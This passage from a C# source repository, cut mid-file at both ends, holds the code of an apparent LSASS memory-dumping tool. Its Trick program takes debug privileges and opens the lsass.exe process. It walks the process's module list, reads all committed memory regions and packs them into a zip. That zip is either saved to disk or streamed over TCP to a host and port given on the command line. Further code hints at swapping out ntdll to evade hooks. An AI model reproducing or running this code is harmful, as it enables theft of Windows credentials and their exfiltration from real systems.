MEMORY_BASIC_INFORMATION struct 355 | MEMORY_BASIC_INFORMATION mbi = new MEMORY_BASIC_INFORMATION(); 356 | uint ntstatus = NtQueryVirtualMemory(processHandle, (IntPtr)mem_address, MemoryBasicInformation, out mbi, 0x30, out _); 357 | if (ntstatus != 0) 358 | { 359 | Console.WriteLine("[-] Error calling NtQueryVirtualMemory. NTSTATUS: 0x" + ntstatus.ToString("X")); 360 | } 361 | 362 | // If readable and commited --> Write memory region to a file 363 | if (mbi.Protect != PAGE_NOACCESS && mbi.State == MEM_COMMIT) 364 | { 365 | ModuleInformation aux_module = moduleInformationList.Find(obj => obj.Name == aux_name); 366 | 367 | if ((int)mbi.RegionSize == 0x1000 && mbi.BaseAddress != aux_module.Address) 368 | { 369 | aux_module.Size = aux_size; 370 | int aux_index = moduleInformationList.FindIndex(obj => obj.Name == aux_name); 371 | moduleInformationList[aux_index] = aux_module; 372 | 373 | foreach (ModuleInformation modInfo in moduleInformationList) 374 | { 375 | if (mbi.BaseAddress == modInfo.Address) 376 | { 377 | aux_name = modInfo.Name.ToLower(); 378 | aux_size = (int)mbi.RegionSize; 379 | } 380 | } 381 | } 382 | else 383 | { 384 | aux_size += (int)mbi.RegionSize; 385 | } 386 | } 387 | // Next memory region 388 | mem_address = (IntPtr)((ulong)mem_address + (ulong)mbi.RegionSize); 389 | } 390 | // Close process handle 391 | NtClose(processHandle); 392 | 393 | // Generate JSON 394 | string[] aux_array_1 = { }; 395 | foreach (ModuleInformation modInfo in moduleInformationList) 396 | { 397 | string[] aux_array_2 = { modInfo.Name.ToString(), modInfo.FullPath.ToString().Replace("\\", "\\\\"), ("0x" + modInfo.Address.ToString("X")), modInfo.Size.ToString() }; 398 | aux_array_1 = aux_array_1.Concat(new string[] { ToJson(aux_array_2) }).ToArray(); 399 | 400 | } 401 | string shock_json_content = ToJsonArray(aux_array_1); 402 | WriteToFile(file_name, shock_json_content); 403 | } 404 | 405 | 406 | static void Main(string[] args) 407 | { 408 | // Check binary is correctly compiled 409 | if (!Environment.Is64BitProcess) 410 | { 411 | Console.WriteLine("[-] File must be compiled as 64-byte binary."); 412 | Environment.Exit(-1); 413 | } 414 | 415 | // Replace ntdll library 416 | string option = "default"; 417 | string wildcard_option = ""; 418 | if (args.Length >= 1) 419 | { 420 | option = args[0]; 421 | } 422 | if (args.Length >= 2) 423 | { 424 | wildcard_option = args[1]; 425 | } 426 | ReplaceLibrary(option, wildcard_option); 427 | 428 | // Get modules (ModuleList) information. Argument: Name of JSON file 429 | Shock("shock.json"); 430 | } 431 | } 432 | } -------------------------------------------------------------------------------- /Trick/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Net; 4 | using System.Linq; 5 | using System.Diagnostics; 6 | using System.IO.Compression; 7 | using System.Collections.Generic; 8 | using System.Runtime.InteropServices; 9 | using System.Net.Sockets; 10 | using static Trick.NT; 11 | 12 | namespace Trick 13 | { 14 | internal class Program 15 | { 16 | public static OSVERSIONINFOEX getBuildNumber() 17 | { 18 | OSVERSIONINFOEX osVersionInfo = new OSVERSIONINFOEX(); 19 | osVersionInfo.dwOSVersionInfoSize = Marshal.SizeOf(typeof(OSVERSIONINFOEX)); 20 | RtlGetVersion(ref osVersionInfo); 21 | return osVersionInfo; 22 | } 23 | 24 | 25 | public static string ToJson(string[] array) 26 | { 27 | string json_str = "{"; 28 | for (int i = 0; i < array.Length; i++) 29 | { 30 | json_str += "\"field" + i.ToString() + "\" : \"" + array[i] + "\" , "; 31 | } 32 | return (json_str.Substring(0, json_str.Length - 3) + "}"); 33 | } 34 | 35 | 36 | public static string ToJsonArray(string[] array) 37 | { 38 | string json_str = "["; 39 | for (int i = 0; i < array.Length; i++) 40 | { 41 | json_str += array[i] + ", "; 42 | } 43 | return (json_str.Substring(0, json_str.Length - 2) + "]"); 44 | } 45 | 46 | 47 | static string Lock() 48 | { 49 | OSVERSIONINFOEX osVersionInfo = getBuildNumber(); 50 | string[] aux_array = { osVersionInfo.dwMajorVersion.ToString(), osVersionInfo.dwMinorVersion.ToString(), osVersionInfo.dwBuildNumber.ToString() }; 51 | string aux_array_json = ToJson(aux_array); 52 | string[] aux_array_1 = { aux_array_json }; 53 | string lock_json_content = ToJsonArray(aux_array_1); 54 | return lock_json_content; 55 | } 56 | 57 | 58 | static void EnableDebugPrivileges() 59 | { 60 | IntPtr currentProcess = Process.GetCurrentProcess().Handle; 61 | IntPtr tokenHandle = IntPtr.Zero; 62 | try 63 | { 64 | uint ntstatus = NtOpenProcessToken(currentProcess, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, ref tokenHandle); 65 | if (ntstatus != 0) 66 | { 67 | Console.WriteLine("[-] Error calling NtOpenProcessToken. NTSTATUS: 0x" + ntstatus.ToString("X")); 68 | Environment.Exit(-1); 69 | } 70 | 71 | TOKEN_PRIVILEGES tokenPrivileges = new TOKEN_PRIVILEGES 72 | { 73 | PrivilegeCount = 1, 74 | Luid = new LUID { LowPart = 20, HighPart = 0 }, // LookupPrivilegeValue(null, "SeDebugPrivilege", ref luid); 75 | Attributes = 0x00000002 76 | }; 77 | 78 | ntstatus = NtAdjustPrivilegesToken(tokenHandle, false, ref tokenPrivileges, (uint)Marshal.SizeOf(typeof(TOKEN_PRIVILEGES)), IntPtr.Zero, IntPtr.Zero); 79 | if (ntstatus != 0) 80 | { 81 | Console.WriteLine("[-] Error calling NtAdjustPrivilegesToken. NTSTATUS: 0x" + ntstatus.ToString("X") + ". Maybe you need to calculate the LowPart of the LUID using LookupPrivilegeValue"); 82 | Environment.Exit(-1); 83 | } 84 | } 85 | finally 86 | { 87 | if (tokenHandle != IntPtr.Zero) 88 | { 89 | NtClose(tokenHandle); 90 | } 91 | } 92 | } 93 | 94 | 95 | public static IntPtr ReadRemoteIntPtr(IntPtr hProcess, IntPtr mem_address) 96 | { 97 | byte[] buff = new byte[8]; 98 | uint ntstatus = NtReadVirtualMemory(hProcess, mem_address, buff, buff.Length, out _); 99 | if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hProcess != IntPtr.Zero) 100 | { 101 | Console.WriteLine("[-] Error calling NtReadVirtualMemory (ReadRemoteIntPtr). NTSTATUS: 0x" + ntstatus.ToString("X") + " reading address 0x" + mem_address.ToString("X")); 102 | } 103 | long value = BitConverter.ToInt64(buff, 0); 104 | return (IntPtr)value; 105 | } 106 | 107 | 108 | public static string ReadRemoteWStr(IntPtr hProcess, IntPtr mem_address) 109 | { 110 | byte[] buff = new byte[256]; 111 | uint ntstatus = NtReadVirtualMemory(hProcess, mem_address, buff, buff.Length, out _); 112 | if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hProcess != IntPtr.Zero) 113 | { 114 | Console.WriteLine("[-] Error calling NtReadVirtualMemory (ReadRemoteWStr). NTSTATUS: 0x" + ntstatus.ToString("X") + " reading address 0x" + mem_address.ToString("X")); 115 | } 116 | string unicode_str = ""; 117 | for (int i = 0; i < buff.Length - 1; i += 2) 118 | { 119 | if (buff[i] == 0 && buff[i + 1] == 0) { break; } 120 | unicode_str += BitConverter.ToChar(buff, i); 121 | } 122 | return unicode_str; 123 | } 124 | 125 | 126 | public unsafe static List CustomGetModuleHandle(IntPtr hProcess) 127 | { 128 | List moduleInformationList = new List(); 129 | 130 | uint process_basic_information_size = 48; 131 | int peb_offset = 0x8; 132 | int ldr_offset = 0x18; 133 | int inInitializationOrderModuleList_offset = 0x30; 134 | int flink_dllbase_offset = 0x20; 135 | int flink_buffer_fulldllname_offset = 0x40; 136 | int flink_buffer_offset = 0x50; 137 | 138 | // Create byte array with the size of the PROCESS_BASIC_INFORMATION structure 139 | byte[] pbi_byte_array = new byte[process_basic_information_size]; 140 | 141 | // Create a PROCESS_BASIC_INFORMATION structure in the byte array 142 | IntPtr pbi_addr = IntPtr.Zero; 143 | fixed (byte* p = pbi_byte_array) 144 | { 145 | pbi_addr = (IntPtr)p; 146 | 147 | uint ntstatus = NtQueryInformationProcess(hProcess, 0x0, pbi_addr, process_basic_information_size, out uint ReturnLength); 148 | if (ntstatus != 0) 149 | { 150 | Console.WriteLine("[-] Error calling NtQueryInformationProcess. NTSTATUS: 0x" + ntstatus.ToString("X")); 151 | } 152 | } 153 | 154 | // Get PEB Base Address 155 | IntPtr peb_pointer = pbi_addr + peb_offset; 156 | IntPtr pebaddress = Marshal.ReadIntPtr(peb_pointer); 157 | 158 | // Get Ldr 159 | IntPtr ldr_pointer = pebaddress + ldr_offset; 160 | IntPtr ldr_adress = ReadRemoteIntPtr(hProcess, ldr_pointer); 161 | 162 | IntPtr InInitializationOrderModuleList = ldr_adress + inInitializationOrderModuleList_offset; 163 | IntPtr next_flink = ReadRemoteIntPtr(hProcess, InInitializationOrderModuleList); 164 | 165 | IntPtr dll_base = (IntPtr)1337; 166 | while (dll_base != IntPtr.Zero) 167 | { 168 | next_flink = next_flink - 0x10; 169 | // Get DLL base address 170 | dll_base = ReadRemoteIntPtr(hProcess, (next_flink + flink_dllbase_offset)); 171 | IntPtr buffer = ReadRemoteIntPtr(hProcess, (next_flink + flink_buffer_offset)); 172 | // DLL base name 173 | string base_dll_name = ""; 174 | if (buffer != IntPtr.Zero) 175 | { 176 | base_dll_name = ReadRemoteWStr(hProcess, buffer); 177 | } 178 | // DLL full path 179 | string full_dll_path = ReadRemoteWStr(hProcess, ReadRemoteIntPtr(hProcess, (next_flink + flink_buffer_fulldllname_offset))); 180 | 181 | moduleInformationList.Add(new ModuleInformation(base_dll_name.ToLower(), full_dll_path, dll_base, 0)); 182 | next_flink = ReadRemoteIntPtr(hProcess, (next_flink + 0x10)); 183 | } 184 | return moduleInformationList; 185 | } 186 | 187 | 188 | public static IntPtr GetProcessByName(string proc_name) 189 | { 190 | IntPtr aux_handle = IntPtr.Zero; 191 | int MAXIMUM_ALLOWED = 0x02000000; 192 | 193 | while (!NtGetNextProcess(aux_handle, MAXIMUM_ALLOWED, 0, 0, out aux_handle)) 194 | { 195 | string current_proc_name = GetProcNameFromHandle(aux_handle).ToLower(); 196 | if (current_proc_name == proc_name) 197 | { 198 | return aux_handle; 199 | } 200 | } 201 | return IntPtr.Zero; 202 | } 203 | 204 | 205 | unsafe static string GetProcNameFromHandle(IntPtr process_handle) 206 | { 207 | uint process_basic_information_size = 48; 208 | int peb_offset = 0x8; 209 | int commandline_offset = 0x68; 210 | 211 | // Create byte array with the size of the PROCESS_BASIC_INFORMATION structure 212 | byte[] pbi_byte_array = new byte[process_basic_information_size]; 213 | 214 | // Create a PROCESS_BASIC_INFORMATION structure in the byte array 215 | IntPtr pbi_addr = IntPtr.Zero; 216 | fixed (byte* p = pbi_byte_array) 217 | { 218 | pbi_addr = (IntPtr)p; 219 | 220 | uint ntstatus = NtQueryInformationProcess(process_handle, 0x0, pbi_addr, process_basic_information_size, out uint ReturnLength); 221 | if (ntstatus != 0) 222 | { 223 | Console.WriteLine("[-] Error calling NtQueryInformationProcess. NTSTATUS: 0x" + ntstatus.ToString("X")); 224 | } 225 | } 226 | 227 | // Get PEB Base Address 228 | IntPtr peb_pointer = pbi_addr + peb_offset; 229 | IntPtr pebaddress = Marshal.ReadIntPtr(peb_pointer); 230 | 231 | // Get PEB->ProcessParameters 232 | int processparameters_offset = 0x20; 233 | IntPtr processparameters_pointer = pebaddress + processparameters_offset; 234 | 235 | // Get ProcessParameters->CommandLine 236 | IntPtr processparameters_adress = ReadRemoteIntPtr(process_handle, processparameters_pointer); 237 | IntPtr commandline_pointer = processparameters_adress + commandline_offset; 238 | IntPtr commandline_address = ReadRemoteIntPtr(process_handle, commandline_pointer); 239 | string commandline_value = ReadRemoteWStr(process_handle, commandline_address); 240 | return commandline_value; 241 | } 242 | 243 | 244 | static Tuple Shock() 245 | { 246 | // Get SeDebugPrivilege 247 | EnableDebugPrivileges(); 248 | 249 | // Get process handle 250 | string proc_name = "c:\\windows\\system32\\lsass.exe"; 251 | IntPtr processHandle = GetProcessByName(proc_name); 252 | Console.WriteLine("[+] Process handle: \t\t\t\t" + processHandle); 253 | if (processHandle == IntPtr.Zero) 254 | { 255 | Console.WriteLine("[-] It was not possible to get a process handle. If you get 0xC0000022 errors probably PEB is unreadable."); 256 | Environment.Exit(-1); 257 | } 258 | 259 | // List to get modules information 260 | List moduleInformationList = CustomGetModuleHandle(processHandle); 261 | 262 | // Loop the memory regions 263 | long proc_max_address_l = (long)0x7FFFFFFEFFFF; 264 | IntPtr mem_address = IntPtr.Zero; 265 | int aux_size = 0; 266 | string aux_name = ""; 267 | 268 | while ((long)mem_address < proc_max_address_l) 269 | { 270 | // Populate MEMORY_BASIC_INFORMATION struct 271 | MEMORY_BASIC_INFORMATION mbi = new MEMORY_BASIC_INFORMATION(); 272 | uint ntstatus = NtQueryVirtualMemory(processHandle, (IntPtr)mem_address, MemoryBasicInformation, out mbi, 0x30, out _); 273 | if (ntstatus != 0) 274 | { 275 | Console.WriteLine("[-] Error calling NtQueryVirtualMemory. NTSTATUS: 0x" + ntstatus.ToString("X")); 276 | } 277 | 278 | // If readable and commited --> Write memory region to a file 279 | if (mbi.Protect != PAGE_NOACCESS && mbi.State == MEM_COMMIT) 280 | { 281 | ModuleInformation aux_module = moduleInformationList.Find(obj => obj.Name == aux_name); 282 | 283 | if ((int)mbi.RegionSize == 0x1000 && mbi.BaseAddress != aux_module.Address) 284 | { 285 | aux_module.Size = aux_size; 286 | int aux_index = moduleInformationList.FindIndex(obj => obj.Name == aux_name); 287 | moduleInformationList[aux_index] = aux_module; 288 | 289 | foreach (ModuleInformation modInfo in moduleInformationList) 290 | { 291 | if (mbi.BaseAddress == modInfo.Address) 292 | { 293 | aux_name = modInfo.Name.ToLower(); 294 | aux_size = (int)mbi.RegionSize; 295 | } 296 | } 297 | } 298 | else 299 | { 300 | aux_size += (int)mbi.RegionSize; 301 | } 302 | } 303 | // Next memory region 304 | mem_address = (IntPtr)((ulong)mem_address + (ulong)mbi.RegionSize); 305 | } 306 | 307 | // Generate JSON 308 | string[] aux_array_1 = { }; 309 | foreach (ModuleInformation modInfo in moduleInformationList) 310 | { 311 | string[] aux_array_2 = { modInfo.Name.ToString(), modInfo.FullPath.ToString().Replace("\\", "\\\\"), ("0x" + modInfo.Address.ToString("X")), modInfo.Size.ToString() }; 312 | aux_array_1 = aux_array_1.Concat(new string[] { ToJson(aux_array_2) }).ToArray(); 313 | 314 | } 315 | string shock_json_content = ToJsonArray(aux_array_1); 316 | return Tuple.Create(shock_json_content, processHandle); 317 | } 318 | 319 | 320 | static string getRandomString(int length, Random random) 321 | { 322 | const string chars = "abcdefghijklmnopqrstuvwxyz0123456789"; 323 | System.Text.StringBuilder stringBuilder = new System.Text.StringBuilder(); 324 | for (int i = 0; i < length; i++) 325 | { 326 | int index = random.Next(chars.Length); 327 | stringBuilder.Append(chars[index]); 328 | } 329 | return stringBuilder.ToString(); 330 | } 331 | 332 | 333 | static Tuple> Barrel(IntPtr processHandle) 334 | { 335 | // Random seed 336 | Random random = new Random(); 337 | 338 | // Loop the memory regions 339 | long proc_max_address_l = (long)0x7FFFFFFEFFFF; 340 | IntPtr aux_address = IntPtr.Zero; 341 | List memfile_list = new List { }; 342 | string[] aux_array_1 = { }; 343 | while ((long)aux_address < proc_max_address_l) 344 | { 345 | // Populate MEMORY_BASIC_INFORMATION struct calling VirtualQueryEx/NtQueryVirtualMemory 346 | MEMORY_BASIC_INFORMATION mbi = new MEMORY_BASIC_INFORMATION(); 347 | NtQueryVirtualMemory(processHandle, aux_address, MemoryBasicInformation, out mbi, 0x30, out _); 348 | 349 | // If readable and committed -> Write memory region to a file 350 | if (mbi.Protect != PAGE_NOACCESS && mbi.State == MEM_COMMIT) 351 | { 352 | byte[] buffer = new byte[(int)mbi.RegionSize]; 353 | NtReadVirtualMemory(processHandle, mbi.BaseAddress, buffer, (int)mbi.RegionSize, out _); 354 | string memdump_filename = getRandomString(10, random) + "." + getRandomString(3, random); 355 | 356 | // Add to JSON file 357 | string[] aux_array_2 = { memdump_filename, "0x" + aux_address.ToString("X"), mbi.RegionSize.ToString() }; 358 | aux_array_1 = aux_array_1.Concat(new string[] { ToJson(aux_array_2) }).ToArray(); 359 | 360 | // Add to global byte array 361 | MemFile memFile = new MemFile(memdump_filename, buffer); 362 | memfile_list.Add(memFile); 363 | } 364 | // Next memory region 365 | aux_address = (IntPtr)((ulong)aux_address + (ulong)mbi.RegionSize); 366 | } 367 | // Close process handle 368 | NtClose(processHandle); 369 | 370 | // Write JSON file 371 | string barrel_json_content = ToJsonArray(aux_array_1); 372 | return Tuple.Create(barrel_json_content, memfile_list); 373 | } 374 | 375 | 376 | static void AddStringToZip(System.IO.Compression.ZipArchive archive, string entryName, string content) 377 | { 378 | ZipArchiveEntry entry = archive.CreateEntry(entryName); 379 | using (StreamWriter writer = new StreamWriter(entry.Open())) 380 | { 381 | writer.Write(content); 382 | } 383 | } 384 | 385 | 386 | public static void SendBytes(string ipAddress, string portNumber, MemoryStream memoryStream) 387 | { 388 | IPAddress serverAddress = IPAddress.Parse(ipAddress); 389 | int serverPort = Int32.Parse(portNumber); 390 | using (Socket clientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)) 391 | { 392 | clientSocket.Connect(new IPEndPoint(serverAddress, serverPort)); 393 | memoryStream.Seek(0, SeekOrigin.Begin); 394 | byte[] buffer = new byte[1024]; 395 | int bytesRead; 396 | while ((bytesRead = memoryStream.Read(buffer, 0, buffer.Length)) > 0) 397 | { 398 | clientSocket.Send(buffer, 0, bytesRead, SocketFlags.None); 399 | } 400 | clientSocket.Shutdown(SocketShutdown.Both); 401 | } 402 | } 403 | 404 | 405 | public static void GenerateTrickZip(string zipFilePath, string lock_str, string shock_str, string barrel_str, List barrel_memfiles, string ip_addr, string port) 406 | { 407 | // Generate ZIP file 408 | if (ip_addr == "" || port == "") 409 | { 410 | // Check it exists, delete if it does 411 | if (File.Exists(zipFilePath)) { File.Delete(zipFilePath); } 412 | 413 | using (FileStream zipStream = new FileStream(zipFilePath, FileMode.Create)) 414 | { 415 | using (ZipArchive archive = new ZipArchive(zipStream, ZipArchiveMode.Create, true)) 416 | { 417 | AddStringToZip(archive, "lock.json", lock_str); 418 | AddStringToZip(archive, "shock.json", shock_str); 419 | AddStringToZip(archive, "barrel.json", barrel_str); 420 | ZipArchiveEntry innerZipEntry = archive.CreateEntry("barrel.zip"); 421 | using (Stream innerZipStream = innerZipEntry.Open()) 422 | { 423 | using (System.IO.Compression.ZipArchive innerArchive = new System.IO.Compression.ZipArchive(innerZipStream, ZipArchiveMode.Create)) 424 | { 425 | foreach (MemFile m in barrel_memfiles) 426 | { 427 | ZipArchiveEntry entry = innerArchive.CreateEntry(m.filename, CompressionLevel.Fastest); 428 | using (Stream entryStream = entry.Open()) 429 | { 430 | entryStream.Write(m.content, 0, m.content.Length); 431 | } 432 | } 433 | } 434 | } 435 | } 436 | } 437 | Console.WriteLine("[+] File " + zipFilePath + " generated."); 438 | } 439 | 440 | // Send ZIP file to remote port 441 | else { 442 | using (MemoryStream zipStream = new MemoryStream()) 443 | { 444 | using (System.IO.Compression.ZipArchive archive = new System.IO.Compression.ZipArchive(zipStream, ZipArchiveMode.Create, true)) 445 | { 446 | AddStringToZip(archive, "lock.json", lock_str); 447 | AddStringToZip(archive, "shock.json", shock_str); 448 | AddStringToZip(archive, "barrel.json", barrel_str); 449 | ZipArchiveEntry innerZipEntry = archive.CreateEntry("barrel.zip"); 450 | using (Stream innerZipStream = innerZipEntry.Open()) 451 | { 452 | using (System.IO.Compression.ZipArchive innerArchive = new System.IO.Compression.ZipArchive(innerZipStream, ZipArchiveMode.Create)) 453 | { 454 | foreach (MemFile m in barrel_memfiles) 455 | { 456 | ZipArchiveEntry entry = innerArchive.CreateEntry(m.filename, CompressionLevel.Fastest); 457 | using (Stream entryStream = entry.Open()) 458 | { 459 | entryStream.Write(m.content, 0, m.content.Length); 460 | } 461 | } 462 | } 463 | } 464 | zipStream.Seek(0, SeekOrigin.Begin); 465 | SendBytes(ip_addr, port, zipStream); 466 | Console.WriteLine("[+] File sent successfully."); 467 | } 468 | } 469 | } 470 | } 471 | 472 | 473 | static void Main(string[] args) 474 | { 475 | // Replace ntdll library 476 | string ntdll_option = "default"; 477 | string ip_addr = ""; 478 | string port = ""; 479 | if (args.Length >= 1) 480 | { 481 | ntdll_option = args[0]; 482 | } 483 | if (args.Length >= 2) 484 | { 485 | ip_addr = args[1]; 486 | } 487 | if (args.Length >= 3) 488 | { 489 | port = args[2]; 490 | } 491 | ReplaceLibrary(ntdll_option, ""); 492 | 493 | // Check binary is correctly compiled 494 | if (!Environment.Is64BitProcess) 495 | { 496 | Console.WriteLine("[-] File must be compiled as 64-byte binary."); 497 | Environment.Exit(-1); 498 | } 499 | 500 | // 1 - Get OS information. Returns: JSON string 501 | string lock_str = Lock(); 502 | 503 | // 2 - Get modules (ModuleList) information. Returns: JSON string + Process Handle 504 | var shock_result = Shock(); 505 | string shock_str = shock_result.Item1; 506 | IntPtr processHandle = shock_result.Item2; 507 | 508 | // 3 - Get Mem64List information + Dump memory regions. Arguments: Lsass process handle. Returns: JSON string and List of MemFile 509 | var barrel_result = Barrel(processHandle); 510 | string barrel_str = barrel_result.Item1; 511 | List barrel_mem = barrel_result.Item2; 512 | 513 | // Generate the final trick.zip 514 | GenerateTrickZip("trick.zip", lock_str, shock_str, barrel_str, barrel_mem, ip_addr, port); 515 | } 516 | } 517 | } 518 | -------------------------------------------------------------------------------- /Lock/NT.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | 5 | namespace Lock 6 | { 7 | internal class NT 8 | { 9 | //////////////////// FUNCTIONS //////////////////// 10 | [DllImport("kernel32.dll", SetLastError = true)] 11 | public static extern IntPtr CreateFileA( 12 | string lpFileName, 13 | uint dwDesiredAccess, 14 | uint dwShareMode, 15 | uint lpSecurityAttributes, 16 | uint dwCreationDisposition, 17 | uint dwFlagsAndAttributes, 18 | uint hTemplateFile 19 | ); 20 | 21 | [DllImport("kernel32.dll", SetLastError = true)] 22 | public static extern bool VirtualProtect( 23 | IntPtr lpAddress, 24 | uint dwSize, 25 | uint flNewProtect, 26 | out uint lpflOldProtect 27 | ); 28 | 29 | [DllImport("Kernel32.dll", SetLastError = true)] 30 | public static extern bool CloseHandle( 31 | IntPtr handle 32 | ); 33 | 34 | [DllImport("kernel32.dll", SetLastError = true)] 35 | public static extern IntPtr CreateFileMappingA( 36 | IntPtr hFile, 37 | uint lpFileMappingAttributes, 38 | uint flProtect, 39 | uint dwMaximumSizeHigh, 40 | uint dwMaximumSizeLow, 41 | string lpName 42 | ); 43 | 44 | [DllImport("kernel32.dll", SetLastError = true)] 45 | public static extern IntPtr MapViewOfFile( 46 | IntPtr hFileMappingObject, 47 | uint dwDesiredAccess, 48 | uint dwFileOffsetHigh, 49 | uint dwFileOffsetLow, 50 | uint dwNumberOfBytesToMap 51 | ); 52 | 53 | [DllImport("ntdll.dll", SetLastError = true)] 54 | public static extern uint NtQueryInformationProcess( 55 | IntPtr processHandle, 56 | int processInformationClass, 57 | IntPtr pbi, 58 | uint processInformationLength, 59 | out uint returnLength 60 | ); 61 | 62 | [DllImport("kernel32.dll", SetLastError = true)] 63 | public static extern uint ReadProcessMemory( 64 | IntPtr hProcess, 65 | IntPtr lpBaseAddress, 66 | [Out] byte[] lpBuffer, 67 | int dwSize, 68 | out uint lpNumberOfBytesRead 69 | ); 70 | 71 | [DllImport("ntdll.dll", SetLastError = true)] 72 | public static extern uint NtOpenSection( 73 | ref IntPtr FileHandle, 74 | int DesiredAccess, 75 | ref OBJECT_ATTRIBUTES ObjectAttributes 76 | ); 77 | 78 | public static OBJECT_ATTRIBUTES InitializeObjectAttributes(string dll_name, UInt32 Attributes) 79 | { 80 | OBJECT_ATTRIBUTES objectAttributes = new OBJECT_ATTRIBUTES(); 81 | objectAttributes.RootDirectory = IntPtr.Zero; 82 | UNICODE_STRING objectName = new UNICODE_STRING(); 83 | objectName.Buffer = dll_name; 84 | objectName.Length = (ushort)(dll_name.Length * 2); 85 | objectName.MaximumLength = (ushort)(dll_name.Length * 2 + 2); 86 | objectAttributes.ObjectName = Marshal.AllocHGlobal(Marshal.SizeOf(objectName)); 87 | Marshal.StructureToPtr(objectName, objectAttributes.ObjectName, false); 88 | objectAttributes.SecurityDescriptor = IntPtr.Zero; 89 | objectAttributes.SecurityQualityOfService = IntPtr.Zero; 90 | objectAttributes.Attributes = Attributes; 91 | objectAttributes.Length = Convert.ToUInt32(Marshal.SizeOf(objectAttributes)); 92 | return objectAttributes; 93 | } 94 | 95 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 96 | public static extern bool CreateProcess( 97 | string lpApplicationName, 98 | string lpCommandLine, 99 | IntPtr lpProcessAttributes, 100 | IntPtr lpThreadAttributes, 101 | bool bInheritHandles, 102 | uint dwCreationFlags, 103 | IntPtr lpEnvironment, 104 | string lpCurrentDirectory, 105 | ref STARTUPINFO lpStartupInfo, 106 | out PROCESS_INFORMATION lpProcessInformation 107 | ); 108 | 109 | [DllImport("kernel32.dll")] 110 | public static extern bool DebugActiveProcessStop( 111 | int dwProcessId 112 | ); 113 | 114 | [DllImport("kernel32.dll")] 115 | public static extern bool TerminateProcess( 116 | IntPtr hProcess, 117 | uint uExitCode 118 | ); 119 | 120 | ///////////////////// STRUCTS ///////////////////// 121 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 122 | public struct UNICODE_STRING 123 | { 124 | public ushort Length; 125 | public ushort MaximumLength; 126 | [MarshalAs(UnmanagedType.LPWStr)] public string Buffer; 127 | } 128 | 129 | [StructLayout(LayoutKind.Sequential)] 130 | public struct OBJECT_ATTRIBUTES 131 | { 132 | public uint Length; 133 | public IntPtr RootDirectory; 134 | public IntPtr ObjectName; 135 | public uint Attributes; 136 | public IntPtr SecurityDescriptor; 137 | public IntPtr SecurityQualityOfService; 138 | } 139 | 140 | [StructLayout(LayoutKind.Sequential)] 141 | public struct STARTUPINFO 142 | { 143 | public int cb; 144 | public IntPtr lpReserved; 145 | public IntPtr lpDesktop; 146 | public IntPtr lpTitle; 147 | public int dwX; 148 | public int dwY; 149 | public int dwXSize; 150 | public int dwYSize; 151 | public int dwXCountChars; 152 | public int dwYCountChars; 153 | public int dwFillAttribute; 154 | public int dwFlags; 155 | public short wShowWindow; 156 | public short cbReserved2; 157 | public IntPtr lpReserved2; 158 | public IntPtr hStdInput; 159 | public IntPtr hStdOutput; 160 | public IntPtr hStdError; 161 | } 162 | 163 | [StructLayout(LayoutKind.Sequential)] 164 | public struct PROCESS_INFORMATION 165 | { 166 | public IntPtr hProcess; 167 | public IntPtr hThread; 168 | public int dwProcessId; 169 | public int dwThreadId; 170 | } 171 | 172 | //////////////////// CONSTANTS //////////////////// 173 | public const uint GENERIC_READ = (uint)0x80000000; // https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/262970b7-cd4a-41f4-8c4d-5a27f0092aaa 174 | public const uint FILE_SHARE_READ = 0x00000001; 175 | public const uint OPEN_EXISTING = 3; // https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea 176 | public const uint FILE_ATTRIBUTE_NORMAL = (uint)0x00000080; // https://learn.microsoft.com/es-es/windows/win32/fileio/file-attribute-constants 177 | public const uint PAGE_READONLY = 0x02; // https://learn.microsoft.com/es-es/windows/win32/memory/memory-protection-constants 178 | public const uint SEC_IMAGE_NO_EXECUTE = 0x11000000; // https://learn.microsoft.com/es-es/windows/win32/api/winbase/nf-winbase-createfilemappinga 179 | public const uint FILE_MAP_READ = 4; // https://www.codeproject.com/Tips/79069/How-to-use-a-memory-mapped-file-with-Csharp-in-Win 180 | public const uint PAGE_EXECUTE_WRITECOPY = 0x80; 181 | public const uint OBJ_CASE_INSENSITIVE = 0x00000040; 182 | public const int SECTION_MAP_READ = 0x0004; // https://www.codeproject.com/Tips/79069/How-to-use-a-memory-mapped-file-with-Csharp-in-Win 183 | public const uint DEBUG_PROCESS = 0x00000001; 184 | public const int offset_mappeddll = 4096; 185 | public const int offset_fromdiskdll = 0x400; 186 | 187 | 188 | public unsafe static IntPtr CustomGetModuleHandle(String dll_name) 189 | { 190 | uint process_basic_information_size = 48; 191 | int peb_offset = 0x8; 192 | int ldr_offset = 0x18; 193 | int inInitializationOrderModuleList_offset = 0x30; 194 | int flink_dllbase_offset = 0x20; 195 | int flink_buffer_offset = 0x50; 196 | 197 | // Get current process handle 198 | IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle; 199 | 200 | // Create byte array with the size of the PROCESS_BASIC_INFORMATION structure 201 | byte[] pbi_byte_array = new byte[process_basic_information_size]; 202 | 203 | // Create a PROCESS_BASIC_INFORMATION structure in the byte array 204 | IntPtr pbi_addr = IntPtr.Zero; 205 | fixed (byte* p = pbi_byte_array) 206 | { 207 | pbi_addr = (IntPtr)p; 208 | NtQueryInformationProcess(hProcess, 0x0, pbi_addr, process_basic_information_size, out _); 209 | } 210 | 211 | // Get PEB Base Address 212 | IntPtr peb_pointer = pbi_addr + peb_offset; 213 | IntPtr pebaddress = Marshal.ReadIntPtr(peb_pointer); 214 | 215 | // Get Ldr 216 | IntPtr ldr_pointer = pebaddress + ldr_offset; 217 | IntPtr ldr_adress = Marshal.ReadIntPtr(ldr_pointer); 218 | 219 | // Get InInitializationOrderModuleList (LIST_ENTRY) inside _PEB_LDR_DATA struct 220 | IntPtr InInitializationOrderModuleList = ldr_adress + inInitializationOrderModuleList_offset; 221 | 222 | IntPtr next_flink = Marshal.ReadIntPtr(InInitializationOrderModuleList); 223 